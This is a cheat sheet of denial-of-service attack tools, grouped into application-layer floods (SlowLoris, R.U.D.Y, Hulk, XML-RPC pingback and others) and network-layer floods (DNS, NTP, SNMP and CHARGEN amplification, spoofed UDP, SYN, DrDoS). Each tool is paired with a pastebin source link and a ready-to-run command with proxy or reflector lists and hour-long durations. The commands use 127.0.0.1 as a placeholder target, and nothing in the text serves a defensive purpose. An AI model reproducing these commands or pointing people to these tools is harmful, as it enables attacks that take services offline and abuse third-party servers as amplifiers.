

Layer 7

ARME (For Apache Servers)

<http://pastebin.com/LFDasjnv>
./arme 127.0.0.1 5000 proxies.txt 3600 0

GHP (Get / Head / Post)

<http://pastebin.com/TYVWdXBj>
./ghp 127.0.0.1 GET 5000 proxies.txt 3600 0 %random%

Hulk (Python)

<http://pastebin.com/McrZ8itH>
python hulk.py 127.0.0.1

Rand (Perl)

<http://pastebin.com/6NVBnDsQ>
perl rand.pl 127.0.0.1 3600

R.U.D.Y

<http://pastebin.com/T01Ai6cN>
./rudu 127.0.0.1 1 5000 proxies.txt 3600 0 %random%

SlowLoris

<http://pastebin.com/bdTUFzp5>
./slow 127.0.0.1 5000 proxies.txt 3600 0

XML-RPC Pingback (Perl)

<http://pastebin.com/2EBW2HXa>
perl xml.pl 127.0.01 10000 xmlrpc.txt 3600

XML-RPC Pingback (PHP)

<http://pastebin.com/XpReaLFW>
php xml.php xml.txt 10000

007 Goldeneye

<http://pastebin.com/wAucxLTF>
python 007.py 127.0.0.1

Layer 4

DNS AMP (UDP)

<http://pastebin.com/neaygqpc>
./amp 127.0.0.1 80 amp.txt 2 3600

CHARGEN

<http://pastebin.com/bYpjHqRQ>
./chargen 127.0.0.1 80 chargen.txt 2 -1 3600

TCP (Advanced ESSYN)

<http://pastebin.com/xP42m5VR>
./tcp 127.0.0.1 80 2 -1 3600

SNMP (Python Version)

<http://pastebin.com/H1XEct35>

```
./snmp -t 127.0.0.1 -f snmp.txt -l 30
```

Spoofed UDP

<http://pastebin.com/3xZgZDhU>

```
./sudp 127.0.0.1 80 5 5 3600
```

NTP (Python)

<http://pastebin.com/6feKkwZd>

```
python ntp.py 127.0.0.1 ntp.txt 5
```

NTP (Perl)

<http://pastebin.com/EdTyVxgB>

```
perl ntp.pl 127.0.0.1 80 3600 ntp.txt 5
```

DrDos

<http://pastebin.com/CYqFy4me>

```
perl drdos.pl 127.0.0.1 80 servers.txt 5 tcp 10 3600
```